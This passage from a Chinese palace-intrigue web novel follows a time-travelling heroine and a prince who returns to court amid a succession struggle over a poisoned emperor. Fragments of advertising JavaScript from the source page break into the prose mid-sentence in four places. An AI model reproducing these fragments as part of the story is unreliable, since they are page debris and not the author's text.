“可这‘病因’,它能是这件事的导火索,也可以是另一件事的导火索。”姜念念看向段右宏,神色倒是没有什么变化。 段右宏闻言像是有些意外,可片刻后又带了丝欣赏,他先是感叹:“不愧是五殿下身边的人。”随后他颇为赞同地点点头道,“你说的没错,陛下的病会让那些人争先恐后地开始算计别人,那么致使陛下‘病重’的那人,一旦身份暴露,就会成为众矢之的,从这场角逐中除名。” 这是一件很残酷的事情,但现实往往不允许人们感慨。因为一旦牵扯其中,即便你不争不抢,别人也一样会将你拉下地狱。 “如今朝中的诸位大臣,早已投靠了各位皇子,其中不乏有些墙头草,在底下左右逢源,但这些人最后的下场,无论是谁赢下,他们都不会好过。”段右宏道。 姜念念看了段右宏一眼,“老将军是选择了五殿下?” “自然。”段右宏答得干脆。 姜念念有些好奇,“您是什么时候跟的殿下?” 段右宏笑了笑,“说出来姜姑娘可能不信,我是一早就看中了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 五殿下。” 见姜念念正一副想要探究的神情,段右宏也没再隐瞒,他回忆道:“那大概是他刚被从冷宫中放出来没多久吧,我曾有幸见过他一面,是在陛下的书房中。他那时人微言轻,并不得陛下器重,其他大臣也都对他不甚在意,只不过我看他的神情,就觉得他可能和旁人所想的不太一样。那时我们还没有走到如今的地位,殿下找到我时,我有有些意外。他说他需要我的帮助,明明是比云澜还要小些的年纪,却有着连我也不曾匹及的谋略。” 段右宏叹了一声,接着道:“当时我就脑子一热,答应了他的请求,也算是孤注一掷。段家与慕家素来不对付,贵妃得势,段家不断被打压,我们也在寻找契机,殿下的出现无疑是一场豪赌。只不过如今看来,这场赌局是我们胜了。” “难怪殿下对宫外的事情了如指掌。”姜念念恍然大悟道。 “宫外的事,殿下一直都在交给段家运作。”段右宏如实答道。 姜念念笑道:“能得到将军的助力,也同样方便了殿下的行事。” “能帮到殿下,是我们的荣幸。”段右宏顿了顿,突然四下打量了一下,随后低声道,“说句大逆不道的话,如今这天下,太多人希望这江山易主了,否则你看外面的街道上,为何所有人都对陛下的安危只字不提?他们希望新登基的皇帝能够为他们带来清平盛世,只不过我更希望是殿下能够平步青云。” 早已知晓结果的姜念念却并没有直接应话,她只是道:“诸位皇子也都是人中龙凤。” 段右宏闻言,也并未指责姜念念为什么要长他人志气,他略一点头道:“这也只是我的心中宏愿。他之前活得太苦了,好不容易快要熬到头,总不能到最后还是一切成空吧。” 不会的。姜念念在心底默默回了一句,算作应答。 不过听到段右宏提起新帝登基,这也间歇提醒了姜念念,她在这个世界呆得太久,早已快要忘记自己是从何处而来。而如今她终于快要走完这个故事,又是否真的能够让她得偿所愿? 她不知道自己是否能够回家,她至今也没有找到确切的想法。甚至就连如今的她,对自己未来的路,都已经有些茫然,心底的落差感也开始慢慢愈演愈烈。也许她不是不知道,她即将迎来“结局”,只是她自己在下意识地不去想而已。 就好像倘若她不去想,那一天就不会到来一样。 若是在很早之前,有人问姜念念,是否想要回家,她的答案一定是肯定,那么如今的她,好像也已经没有那么迫切的心情。她好像是逐渐习惯了这个世界,又可能是别的什么。 她口口声声仍旧说着想要回去的话,但如果那一天真的到来,她也不是很希望看到。 可能是这个话题太过沉重,段右宏见姜念念久久没有回答,便转移了话题,抛出了一个令姜念念愣在原地的问题:“若是殿下真的得偿所愿,之后便该是姜姑娘与殿下的大婚了吧?” 55. 宫墙 再次回到熟悉的宫中,踩着宫内石砖,沈南寂一步步朝着倚月轩走。他没有第一时间向沈明承复命,他知道包括沈明承在内的所有人都知道,他已经回到了宫中,可仍旧还是先行回了一趟倚月轩。 四周安静的有些诡异,只有风在呜呜咽咽的吹,只不过沈南寂对这些没有丝毫反应,他仍旧还是走着自己的路。自从他们离去之后,倚月轩的宫门便上了锁,再无人踏足。就在他以为自己要打扫一番的时候,走到宫门前却发现那宫门微掩,不像是没人的样子。 沈南寂的动作一顿,心底盘算着究竟是什么人会来倚月轩,同时也在思考着应对的方式。 他一边想着,一边推门进去,而等看清坐在院子里的人是谁后,沈南寂还是没忍住皱了一下眉,有些不太客气地说道:“怎么是你?” “别人都猜你回宫后,肯定会第一时间见陛下,都在明里暗里提防着,就我猜到你会先回倚月轩,所以就特地等在这里了。”沈北渝颇为自豪地说道。 沈南寂瞥他一眼,并没有要夸奖他的意思。 当然,他的无视也并没有引起沈北渝的不满,沈北渝看了他一眼之后,就将视线落到沈南寂的身后,在没有见到预料之中的人后,他这才重新将自己的目光放在沈南寂的身上,“姜念念呢?” 沈南寂微微挑眉,心里不算意外,可是面上却仍旧装作不解地问道:“你不是来找我的吗?” 沈北渝皱眉,“你是真不知道,还是装的?” 眼见着沈北渝要出门找人,沈南寂这才慢慢开口说道:“别找了,她没回来。” “什么意思?”沈北渝的脚步一顿,其实某一瞬间,他都开始怀疑是不是姜念念死在了西南郡,可是看到沈南寂的神情不似悲痛,这才稍稍放心了些,“她在哪?” “你问这些做什么?”沈南寂反问道,“她在一个,对她来说,很安全的地方。” 听到沈南寂的回答,沈北渝原本有些气愤的脸色突然缓和了些,他顿了顿才道:“你果然已经知道宫中发生的事情了。” “我以为大家都心知肚明了。”沈南寂毫不在意地说道。 沈北渝有些不解,“你既然知道如今宫中形式紧张,又为什么还要回来?就算真的发生了什么,只要你不回来,就可以不必趟这浑水,等到一切尘埃落定,你完全拿着自己的军功,得到一个王爷的封号,安然无虞过一辈子。你现在回来了,稍有不慎就会丢掉性命。” “现在宫中,现在是太子和二皇子掌权?”沈南寂问沈北渝。 虽然刚刚沈北渝的那番话不算好听,可他也知道,沈北渝的提议的确是最稳妥的。这算是提点,也是关心,只不过沈南寂也无法判断,他到底是不是真的在担心会不会有危险,还是说对方只是在试探他。 想到这里,沈南寂的视线无声地打量着沈北渝,注意着他的每一个表情。 沈北渝点了点头,道:“大哥是嫡子,又是嫡子,朝中自然有许多人支持他。但是有那人的相助,也在朝中有不少的支持者。他们两人如今咬得很紧,谁也不让一步。” “那你呢?”沈南寂突然问道。 “……”沈北渝看着沈南寂,“我并不想参与这种事,我现在只希望他们之中的争斗赶紧结束,我也就不用提心吊胆地过日子了。”顿了顿,沈北渝像是想到了什么,垂头丧气地说道:“早知道会发生这样的事情,我就该跟你们一起去西南郡,然后就可以躲过这一劫了。” 沈南寂闻言,笑了一声,但这次却并没有嘲讽的意思。 沈北渝听到声音,又有些恨铁不成钢地说道:“你既然知道宫中有变,为什么要回来?” “有人不希望我在外逍遥,非要让我趟这浑水,那我也只好如他所愿了。”沈南寂收起笑,漫不经心地开口。 “谁?”沈北渝下意识问道。 沈南寂看着沈北渝,自秦婉蓉过世这么久以来,他还是第一次见到与自己有血缘关系的人,这么认真地关心自己。很多事情都已经不一样了,这是他最直观且清晰地感知,尽管这种感知从很早之前就已经慢慢体会到。 “一封信而已。”沈南寂忽视掉自己心里的想法,平静地回答沈北渝,“没有署名,但一定是从宫里传到了我的手中。” 沈北渝一听这话,就知道那个人的身份绝对不简单,再往细了说,也许就是他们兄弟姐妹里的其中一个。 “既然没有署名,那直接当做没看见,然后不回来就好了。”沈北渝继续给沈南寂出着主意。 “可我已经回来了。”沈南寂回他。 “……”沈北渝看着沈南寂,忽然间他像是想到了什么,一脸震惊地望向沈南寂,“既然我能想到,你不可能想不到,那你为什么还要回来?” 沈南寂笑了笑,似乎并不为之感到疑惑,“你说得没错,我确实知道他们的打算。但是既然我敢回来,自然就不会是毫无准备。我想要拿回一些东西,他们也阻止不了。” 沈北渝听了,感觉头皮一阵发麻,但他到底没有再追问下去,“既然你自己清楚的话,那你注意吧。” “四哥为什么要和我说这些?”沈南寂看向沈北渝,问了一个看似毫不相干的问题。 “……你就当我多管闲事吧。”沈北渝沉默了良久,才破罐子破摔似的回道。 沈南寂沉吟片刻,微微颔首,没有继续在这个问题上多做停留。他像是并没有与人交谈过一般,说道:“时候也不早了,四哥还是快些回去吧,免得被人看见。这个时候和我接触,难保不会让人怀疑,你和我是一伙的。刚好,我也要去见一见父皇,就不送你了。” 沈北渝点点头,临走之前,又不死心往回走了两步,重又问道:“姜念念现在在哪?” 沈南寂看他一眼,“我不会告诉你的。” 听到同样的回答,沈北渝也 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 没有多失望,他点了点头,继续道:“行,那我下次再问。” 沈南寂闻言哼笑一声,没再说话。目送着沈北渝离开后,沈南寂这才将视线落入到眼前的这座宫殿。花木的枯枝横七竖八地交织倒伏在泥地里,但原先的枝干上,却已经重新抽出了新的枝芽,只待时节来临,便会再次抽枝发芽,落地生花。好像没有他们的照料,这花也依旧会花开花落,自由生长。 院内的石砖路上铺满了灰尘,就连宫殿的墙上、廊柱上,无一例外都是灰扑扑的,一眼望去,无尽苍凉。一切都好像回到了他刚刚来到这里时的模样。 沈南寂看了一会,没再进屋,而是径直出了宫门,先是找了宫人,让他们去倚月轩将殿内打扫一遍,随后自己这才去了沈明承的寝宫。 沈南寂到的时候,整个寝宫内只有一些宫女太监在照料着沈明承。寝宫外并没有太监阻拦,沈南寂几乎是直接畅通无阻地进入了殿内。他先是不动声色地四下打量了一番,确定附近没有自己的那些兄弟姐妹之后,这才将视线落到了沈明承的身上。 “父皇。”沈南寂上前行礼道。 听到声音,沈明承缓缓掀起沉重的眼皮,整个人似乎都陷入了倦怠的情绪里。见到沈南寂,他没有丝毫的惊讶,不知是早就知道沈南寂会来,还是他已经根本不在乎他什么时候会来了。 “你来了。”沈明承应了一声,“起来吧。” 沈南寂应了声“是”,随后起身走到沈明承的榻前,垂眸看着沈明承。 “西南郡的事情,朕都听说了,你做得很好。”沈明承夸赞道。 “父皇觉得满意就好。”沈南寂微笑着应答。 沈明承之前的刺杀两人早已心知肚明,沈南寂能够回来,就一定是调查清楚了的。可是如今两人却如同对刺杀毫不知情一般,依旧在面不改色地和对方交谈。 “慕家的事情,都解决了吗?”沈明承又问。 “抓了慕辰朔,在等候父皇处置。”沈南寂答。 沈明承闷笑一声,“他人呢?” “没进城,关在城外了。”沈南寂继续答。 沈明承的神色不变,“知道朕如今下令,禁止皇宫内众人随意出城,所以将人留在城外。这是担心有人趁你不注意,将人救走?” “毕竟防人之心不可无,况且比起在宫内,宫外于他而言,也更安全一些。”沈南寂从善如流地说道,“我派了人保护他,没有我的允许,他们是不会将人放出来的。” “你是在保护他,还是保护你自己呢?”沈明承像是看透了沈南寂的内心想法,意有所指地问道,“你不就是想要让慕家的人忌惮你手中的慕辰朔,然后以此来保证自己可以安然无恙地在宫中行动吗?” 沈南寂见沈明承直接将话挑明了,于是也毫不客气地道:“父皇能够想这么多,还和我说了这么多话,看来也并非像传闻中所说的那样,病入膏肓……” 56. 寝宫 最后那四个字,沈南寂是凑近了沈明承,在他耳边悄声说的,所以这话也就只有他们两个人听到。 “你!”而在听到沈南寂的这番话后,沈明承倏地瞪大了眼睛,气恼的情绪瞬间便充斥了他的大脑,让他一时间忘记了要说些什么。他感到忍不住剧烈地咳嗽着,肺腔中尽数是难忍的躁意。 沈南寂垂眸,像是根本没有察觉到,对方究竟在因什么而情绪激动一样,轻轻说道:“父皇息怒,太医应该也叮嘱过您,不要情绪激动吧?” “你不是才刚刚回来,怎么会对宫中的事这么清楚,甚至就连朕的……难道朕的身边,也都有你的人?”沈明承神色恨恨地道。 沈南寂闻言,并没有直接回答他,而是转过身去,对着那些有些担忧地瞧着这边,却一直踌躇着不敢上前来的宫人们吩咐道:“这里没你们什么事了,我还有些话想单独和陛下聊聊,你们先退下吧。” 宫人们有些犹豫,不敢离开:“可是……” “你们就守在门外,有什么事我会叫你们。” 听到这话,宫人们这才稍稍放松了下来,沈南寂说有事叫他们,但同样的,殿内有什么动静,他们也还是能够第一时间察觉。他们知道眼下宫中局势瞬息便可逆转,谁也不敢轻易得罪,于是便顺势离开了宫殿。 直到宫殿的大门被再次合上,沈南寂这才放心地看向沈明承,他甚至还颇有闲情逸致地询问沈明承:“需要我扶您坐起来吗?一直躺着,于身体的恢复也没什么益处。” “不用……” 沈明承拒绝了沈南寂的提议,可后者却像是根本没有听到他的话似的,仍旧自顾自地上前一步,将人给半拖半拽着坐了起来。 随后,他又不顾沈明承怒瞪着他的神情,自顾自地问道:“父皇难道就不想知道,是谁给您下的毒?” “你什么意思?”果不其然,听到沈南寂这话,原本还一脸不悦的沈明承,也被吸引了注意力。 沈南寂有些惊讶地挑了挑眉道:“父皇难道不知道吗?还是你真的以为,是自己老了,所以才真的生病了?” 沈明承当然不会这么以为,甚至在这件事情之前,他都从未想过,会有人算计他至此。可是如今已然到了这个地步,之前他也暗地里单独问过太医,能否将他彻底医治,可最终的结果却不尽如人意。 他已经无力回天,可是却不想让到底他变成这样的人,最终取代了他。 想到这里,原本还看沈南寂不顺眼的沈明承,突然一转眼睛,心中好似在盘算着什么。而后他放缓了语气说道:“先前在西南郡,我派人刺杀你,其实也是为了你好。” 沈南寂听到这句话心底并不感到意外,可是他表面上却仍旧挑了挑眉,装得有些惊讶。 沈明承像是周围没有了旁人,心底也开始慢慢放下心防,和沈南寂聊起了自己内心深处的秘密,大谈自己的悔恨:“你年纪还小,可能早就忘了,我和你母妃,当年也算是伉俪情深。可终究是身处这深宫,被那些嫉妒之人消磨了生命,我甚至都没来得及见她最后一面……她就留下了你这么一个独子,我又怎么可能真的对你毫无感情,可是朝堂上下所有人都在盯着我,我不能对你有任何的特殊,否则你也会落得和你母妃一样的下场。” “这么说来,我还要感谢陛下了?”沈南寂平静地问道。 “朕知道你怨朕,这本就是朕做的不对。如今朕就要走了,朕不想让这遗憾,被朕带到地狱去。”沈明承似有悔恨,他听出沈南寂语气里的质问,但语中带有不忍,“朕想要补偿你,所以对于你提的那些要求,朕也无一不应,是不是?就连……她,朕甚至都许诺过……” “父皇。”沈南寂直接打断了沈明承,没让他继续说下去,他不会真的觉得,沈明承是临死前突然良心发现,对方无非只是想让自己替他找到真正的凶手罢了。他心知肚明,却也仍旧以此询问。 沈明承沉默了一阵,还是没有放过这个机会,“朕如今还是天子,朕可以向你保证,倘若你找出了那个人,就传位于你。就当是朕对你的补偿了,如何?” “父皇难道就不担心是我?”沈南寂问沈明承。 沈明承顿了顿,“那是你吗?” 沈南寂轻笑一声,“我那时恐怕还在西南郡,又怎么可能会管得到京中之事。” 沈明承没答话,就只是看着沈南寂。而沈南寂被他们这么盯着,也并不感到慌神,反而是平静地对沈明承行礼道:“那就多谢父皇愿意相信儿臣了。” 至此,沈明承的神色才算缓和下来,“我不会怀疑你的。” 沈南寂这次却并未应声,“那倘若是太子呢?他本就是储君,继承大统,本就是顺应天命。” “他若这般等不及,那也就没有留下的必要了。”对于沈南寂的提问,沈明承并不为之所动。 听到这个回答,沈南寂终于露出了满意的神色,他像是喃喃自语地道:“是啊,所以为什么,就等不及了呢……” 两人正谈着话,忽地就听殿外一阵喧闹,随后是一众宫人此起彼伏的殿下公主的问候。沈南寂这就猜到是有人来了,而且可能是相关人员都到场了。 不过即便是这样,他也没有显出丝毫慌乱,停止了继续与沈明承的谈话,安静地站在床榻边,等着殿外的那些人进来——那些宫人不敢阻拦他们。 果然,不过片刻时间,在一阵不甚清晰的交谈之后,大殿的门就被再次推开,而后走进来了三个人。 沈南寂的视线从他们身上一一扫过,随后逐个问候道:“太子殿下,二哥和三姐。” 即便这几人对沈南寂什么时候回京的事了如指掌,可他们此时在沈明承面前,还是装得一无所知的样 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 子:“老五?你什么时候回来的?这些宫人也真是的,你回来了也没人来通传一声,这要不是在父皇这里遇到,恐怕还不知道什么时候才能遇到。” 沈南寂平静地回道:“也是刚刚才回来。不过你们也不必埋怨宫人,等我见过父皇之后,自然就会去你们的宫中请安——不过,既然在这里遇到,那现在请安也就可以免了。” 沈西泽闻言立马道:“看来也是我们亲人之间有默契,这不凑巧遇上了。” 沈东郢听了,也立马应和,结果却被一旁的沈如月暗地里拉了一下衣袖。沈南寂将这些小动作都看在眼里,却没有要挑明的意思。 这些人都是因为知道自己来见沈明承,担心他说了什么不该说的,又担心沈明承念在他刚刚回京,定下什么让他们无法应对的决定,所以这才赶到了沈明承的寝宫,假装来了一场偶遇。但是沈西泽的这番话,也同样是意有所指,所以沈东郢想要附和时才会被沈如月阻止。 沈西泽和沈南寂说完,这才将视线落到沈明承的身上,随后像是刚刚注意到沈明承的姿势一样,有些惊讶地道:“父皇怎么坐起来了?” “父皇说一直躺着有些累,所以想起来坐坐。”沈南寂替沈明承答道。 沈明承闻言,原本想要说的话,在停顿了片刻后,最终还是被咽了回去。他深深地看了沈南寂一眼,随即点头道:“对,是朕要起来的。” “这可不行,太医说了,父皇您还是要多休息。来,我扶您躺下。”随后,沈西泽也不由分说地按着沈明承,让他重新躺了回去,随后又扭头对一脸若有所思的沈南寂略有责备道,“五弟你也是,怎么能父皇说什么,就听他的呢?不过你刚从西南郡回来,不知道太医的叮嘱也很正常,下次注意就是。” 沈南寂此时已经收回目光,听到沈西泽的话后,他神情懊恼,语气略带歉意地说道:“这事是我疏忽了,没想到父皇居然会不顾太医的叮嘱。” “……” “对了,刚刚我们在进来的时候发现,寝宫内并没有宫人,反倒是全都站在了宫外。这是怎么回事?”沈如月看着沈南寂,问道。 “父皇有些话想要单独对我说,自然就只能让那些宫人先出去候着。没想到刚说完,准备叫他们进来,你们就来了。”沈南寂答道。 沈如月皱了一下眉,追问道:“那说了什么?” 听到沈如月的问话,沈南寂忍不住轻笑了一声,让沈如月心底愈发有不好的预感。果不其然,下一秒就听到沈南寂幽幽地说道:“都说了,只是单独和我说的话。三姐为什么会觉得,那些宫人听不得,您就听得了?” 沈如月脸色一变,这才发觉自己有些急了,她扭头看了一眼沈明承,见对方也在看着自己,连忙跪下道:“父皇恕罪,儿臣不是有意要探听您对五弟说了什么的,我只是担心您的安危。” 57. 贵妃 沈明承并没有接沈如月的话,只是轻描淡写地说了一句:“起来吧。” 沈如月不知道沈明承在想什么,但此时沈明承没有立即定她的罪,那可能也就逃过了这一劫。想到这里,沈如月心底悄悄松了口气,然后站了起来。 就在这个时候,沈西泽在一旁突然说道:“对了,我刚刚在来的路上,看到有宫人在朝着倚月轩的方向走。那个时候我还以为,是有谁接到了五弟回来的消息,提前去你宫内打扫,现在看来,五弟这是先回了一趟倚月轩,然后才来觐见父皇的吗?” 沈南寂闻言,也知道沈西泽这是有恃无恐,所以他也并没有想要否认,只是平静地反问:“有什么问题吗?” “你既然回了宫,难道不应该第一时间来见父皇吗?你直接先回了倚月轩,这不是不将父皇放在眼里吗?” “你是这么认为的?”沈南寂并不理会沈西泽的挑衅,仍旧是一副毫不在意的模样。 “我这也是担心你坏了规矩,被别人瞧见抓住了把柄……” “行了,都别说了。”沈明承打断了两人的谈话,似乎是并不想再听他们谈及这件事。 沈西泽闻言神色微冷,却仍是依言闭了嘴。 “都出去吧,我今天也累了,你们该干什么就干什么去吧。”沈明承微微闭了闭眼,直接对着众人打发道。 四人见状,也都各怀鬼胎地行了礼,然后退出了沈明承的寝宫。不过在走到寝宫外之后,四人却不约而同地都停下了脚步,谁都没有直接离开。 若是先前一段时间,另外几人一直在暗地里斗得昏天暗地,那么从这个时候,亦或者说是从沈南寂回到宫中的那一刻起,这四人便更像是站在了明面上,彻底撕破了表面伪装的和平。 “听说,老五你从西南郡回来的时候,带回了一个慕家的人,可是怎么不见人呢?”沈如月笑着问道,仿佛她真的只是在关心沈南寂一样。 但沈南寂却根本没有想让事情按照沈如月所想的那样发展,他略带疑惑地问道:“三姐什么时候,还和慕家扯上关系了?” 慕家如今的处境,几乎是处在一个不尴不尬的位置上,他们仍旧有将军府作为依托,沈明承也没有要处决他们的意思。但谋权篡位的罪名就像是一把悬在他们头顶的刀,迟早有一天会落下来,只是时间问题而已。 沈明承如今没有精力管这些,再者他可能会看在慕玲月的份上,饶恕过慕家,那么别人呢?就算他们如今想要另附高枝,也可能会因那道罪名而被新帝忌惮。 如今的慕家,就犹如垂在枝叶上的一滴水,将落未落,可这不代表他们安全,稍有一阵风吹草动,就会彻底跌落尘埃。没人处置他们,那也只不过是如今的众人,都分身乏术罢了。 正因如此,现如今谁都不想和慕家牵扯上什么关系,免得最后自己也落得一身腥。所以当听到沈南寂的话后,沈如月的脸色当场就变得有些难看,只听她道:“五弟慎言,我只是在提醒你,慕家人还是尽早交到父皇手中,让他定夺才是。” “你是说,让陛下如今这副样子,去见慕辰朔?”沈南寂似有不解,“难道你就不怕,慕辰朔冲撞了陛下,导致父皇的病情加重吗?三姐这是什么打算?” 沈如月被沈南寂怼得哑口无言,一时也说不出什么话来,于是她一甩衣袖,直接离开了原地。而沈东郢则是也连忙跟上,只留下沈西泽和沈南寂留在原地。 沈西泽看了一眼拼命追赶沈如月的沈东郢和已经走远的沈如月,随即笑道:“五弟这是做什么,再怎么说,如月也是你的三皇姐。这事要是传出去,也不好听不是?” “太子殿下说的是,不过有些话,即便是到了父皇面前,我也是要说的。”沈南寂道。 “什么话?”沈西泽下意识问道。 可沈南寂却不愿再回答了,“太子殿下就只是想要问这些吗?” “慕辰朔在哪?”沈西泽立马换了个问题。 “都对他的去处这么好奇吗?”沈南寂轻笑一声,下一秒又默了脸色,“你找不到他的。” “看来是不在皇宫了。”沈西泽立马猜测出了结果。 沈南寂对此并未作答,也没想过掩饰,反正这个结果只需要稍微思考一下,谁都可以想到。不过想到又能如何呢?只要他们找不到慕辰朔,那一切也就是空谈。 “慕家应该很快就会来找你的。”沈西泽状似提醒地说道,“他们不会就这么善罢甘休的。” “我自然知晓。”沈南寂颔首道。 “明眼人都能看出来,慕家如今就是一块烫手山芋,谁接过了它都会得不偿失。”沈西泽道,“不过正因如此,倘若暗地里有人想要利用这一点,勾结慕家,慕家也不是不能为他所用。破釜沉舟,想要求得一线生机,很合理不是吗?” “所以,太子殿下是想告诉我,你已经猜到了这个做法,警告我不要借慕家的力吗?”沈南寂笑了笑,“可是,慕辰朔是我抓的,他们就算想要破釜沉舟,恐怕也不会找上我才是。” “五弟多虑了,我只是在让你小心而已。”沈西泽不再多说,他抬头看了一眼天色,“时候也不早了,我该回去了。五弟刚从边关回来,也早些回去休息吧,之后还有很多事等着你呢。” 沈南寂没应声,沈西泽也没再多话,直接就离开了原地。沈南寂站在那里目送着沈西泽离去,心底也不知在想些什么,良久之后,他才慢吞吞地整理了一下衣襟,然后也走下了台阶,返回了倚月轩。 也许是因为他刚刚回来的缘故,这些人也并没有耐不住性子直接找来,直到翌日午后,才有人敲响了倚月轩的宫门。 因为这次沈南寂是一个人回来,所以他也去要了几个宫人,暂时负责整个倚月轩的各项事务。此时听到有人来,便立即有一位宫女上前开了门 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,见到门外的人后,那名宫女先是愣了一下,随即才反应过来行礼:“贵妃娘娘,您有什么事吗?” “我来找五殿下,他人在吗?”如今的慕玲月早已没了当初的盛气凌人,短短几年里的种种变故,早已将她的棱角磨平。俗话说的好,落了水的凤凰不如鸡,如今的她早已不是当初那个盛极一时的贵妃了。 慕玲月只带了一名贴身婢女,而此前她无论是去哪里,都会带上许多名宫人同行。 宫女看了慕玲月一眼,不知道她的目的,但又不好直接拒绝,于是便对慕玲月说道:“贵妃娘娘还请稍候片刻吧,我去禀报殿下。” “有劳了。”慕玲月对着那名宫女微微颔首,以示道谢。 见到她这反常的举动,宫女却是见怪不怪的样子,她瞥了慕玲月一眼,也没让人进来,直接就转身去禀报沈南寂了。而慕玲月则是习惯了众人对她的态度,宫女没让她进去,她便也就那么站在门外候着。 片刻过后,慕玲月见到那名宫女又走出来,同时身后还跟着沈南寂。沈南寂并没有直接来到宫门前,只是走到了院内的桌边,而那名宫女则是重新回来对慕玲月说道:“殿下请贵妃娘娘进来。” 慕玲月点点头,正要带着自己的婢女一同进入倚月轩,结果就见那名宫女眼疾手快地挡住了她婢女的脚步。 “你干什么?”慕玲月的婢女瞪着宫女,似乎不满她的举动。 “如果我没记错的话,五殿下已经同意我见他了。”慕玲月拦住了自己的婢女,转头看向那名宫女,似乎是在等着她的解释。 而那宫女也不慌乱,她微微点头道:“殿下确实同意了。只不过殿下只同意与你见面,并没有说您宫中的其他人也要见。如果她也要见的话,不如等我再禀报一次?” 慕玲月身后的婢女气急,“见风使舵的家伙,神气什么。” “好了。”慕玲月打断了自己婢女的话,转而笑着对宫女说道,“我明白了,我自己去见殿下,不必你再麻烦跑一趟了。” 随后,她又转头对自己的婢女说道:“你就在这里等着,我去去就回。” 婢女没法,也只得同意。但在慕玲月看不见的地方,她还是忍不住朝着那名宫女翻了个白眼。 那宫女也不是吃亏的性子,直接就上前一步,用只有她们两人能够听到的声音说道:“眼睛不想要了,我会让人替你剜了去。你家主子现在可是求着我们殿下,小心之后连累了你家主子。她已经不是从前的那个高高在上的贵妃娘娘了,现在不是谁都要看她眼色行事,而是她要看别人的眼色,懂了吗?” 那婢女被她说得脸上青一阵紫一阵,但到底没有再继续做些多余的动作。 这边,慕玲月走到桌边,先是朝着沈南寂行了一礼,“五殿下。” 沈南寂听到声音后,这才转过身来,对慕玲月微微一笑,“贵妃娘娘,好久不见。” 58. 思虑 两人确实许久未曾见过,可那些发生过的事,却又都在不断地提醒着他们对方的存在。个遑论如今的这个情形,怎么都不像是久别重逢的样子。 慕玲月勉强地笑笑,到底还是顺着沈南寂的意思说了下去:“确实是很久未见了。” 沈南寂知道慕玲月想说什么,却并没有直接开门见山,而是抬手示意她,“请坐吧。” “好……”慕玲月应了一声,跟着沈南寂一同坐下,然后等着宫女上茶。 期间慕玲月一直在不动声色地打量着沈南寂,自从沈南寂从冷宫中出来之后,这些年她虽只远远见过沈南寂几面,但关于他的传闻也听过不少。她一直觉得,他就算再如何被人夸得天花乱坠,到底还是个孩子,根本不可能掀起多大的风浪。但直到沈南寂将目光落到慕家身上,她才真正意识到,他也许是一直记恨着当年在冷宫的时候,自己对他们所做的事情。 可是事到如今,再说什么也都晚了。 慕玲月知道自己根本没脸来见沈南寂,也不该去求他放过慕家,可是如今沈明承没有要替他做主的意思,慕家又在背后推着她向前走,她也只能厚着脸皮前来。 她想过很多,期盼着沈明承病好后,可以看在这么多年的情分上,留慕家一命。后来眼看着他的病一天重过一天,她就知道自己的祈求根本没有得到上天的垂怜。沈家的几个孩子,没有一个会放过慕家,她都知道。 然而直到她今天看到沈南寂,她突然觉得,从前是她小看了沈南寂。这样的人,从一开始就是一个威胁,只不过是他们一直没有发现罢了。 等到桌前就只有他们两人之后,沈南寂才开口询问道:“贵妃娘娘,今天怎么有空来找我呢?” 慕玲月苦涩地笑了笑,“我今天,是想来问你,慕家……” 沈南寂微微抬手,打断了慕玲月的话,“你是想问,慕辰朔的事情吧?” “辰朔是我的弟弟,他所做的那些事,也都是受了慕家的指使……”慕玲月似乎也有些难以启齿,她艰难地说道,“我知道这种事情,无论他是出于什么样的理由,都不应该被轻易宽恕。我只是希望,你能够留他一命。” 沈南寂道:“贵妃娘娘说笑了,这件事情,理应由陛下来定夺。您来找我,是找错人了吧?” 慕玲月搭在桌上的手慢慢攥紧,半晌后她才像是下定了决心一般,缓缓说道:“此处只有你我二人,有些话也没什么说不得的。陛下如今的情形,你我都心知肚明,最后慕家落到谁的手中,显而易见。” “那你应该去求太子殿下,他可是明安国的储君。”沈南寂道。 “你会让他坐上那个位置吗?”慕玲月紧跟着问道。 沈南寂端茶的手微微一顿,他的眼光扫向慕玲月,似是在斟酌着对方的用意。良久后,他才轻轻一笑,回她:“不会。” · 姜念念在将军府住的这几日,倒也还算适应,除去第一天段右宏语出惊人之外,之后的事情倒都算得上正常。 姜念念至今还记得,那天她在听到段右宏的问题后,一时震惊地差点忘记回话,好半晌后她才问道:“老将军为什么会这么觉得?” 段右宏“哈哈”大笑了两声,先是让姜念念不要在意,随即又像是在给她解释一般:“我只是这样想,所以就问了,如果我说错了,姜姑娘也就当听了个玩笑,不必放在心上。” 可是姜念念自然不可能真的如段右宏所说的那样,真的听听就忘了,更何况现在她所处的时代,怎么可能会真的像现代那样被人打趣。况且就算是在现代,要是被长辈打趣的话,肯定也是因为他看出了什么。 也许是姜念念这副耿耿于怀的模样太过明显,段右宏迟疑了一阵,也只得继续说道:“我也只是觉得,殿下这么多年,身边也就只有你跟着。如果不是有些其他的心思,那又为何要做到这种程度呢。” 姜念念明白,段右宏是知晓她的身份的,可也正因如此,才让她更加感到不解。然而还没等她询问,段右宏就已经率先说道:“姜姑娘是不是觉得,我应该要告诫你,殿下需要的是一个门当户对的人,而不是你?” 姜念念闻言迟疑了一下,还是点了点头,她的确是这样想的。其实这种想法的存在,不仅是相互利用的关系,也同样是更容易成为同频共振的两个人,这对未来来说,是一个最佳的选择。 “可能是我老了,也没那么多雄心壮志,有时候我也觉得,或许这样才是对的。可是过后还是忍不住想,人生也不过才短短几十年,等到千年之后,谁又会记得你呢?既然这样,那不如就让如今的自己,活得更加自在一点。” “我明白了。”姜念念微微颔首,回道。 段右宏看了姜念念一眼,“我看你像是有着顾虑,是在担心什么?你们之间,还有什么无法解决的事情吗?” 顾虑什么?姜念念想,她大概是在担心,自己终有一日,是要和他道别的。所以她不想在那之前,给任何人留下不该有的期待。她不是没有发现那些反常的举动,只不过是她一直在刻意忽视罢了,但她同样明白,这种自欺欺人的做法,不会一直有用的。 姜念念还记得,那天自己随便找了个理由应付过去,然后就听段右宏最后说了一句:“有些时候,太多的顾虑只会导致结果差强人意。想得太多人是会累的,有些时候,不如就在一些事上,让自己当一个糊涂人,那样会轻松很多。” 这也许是对的。 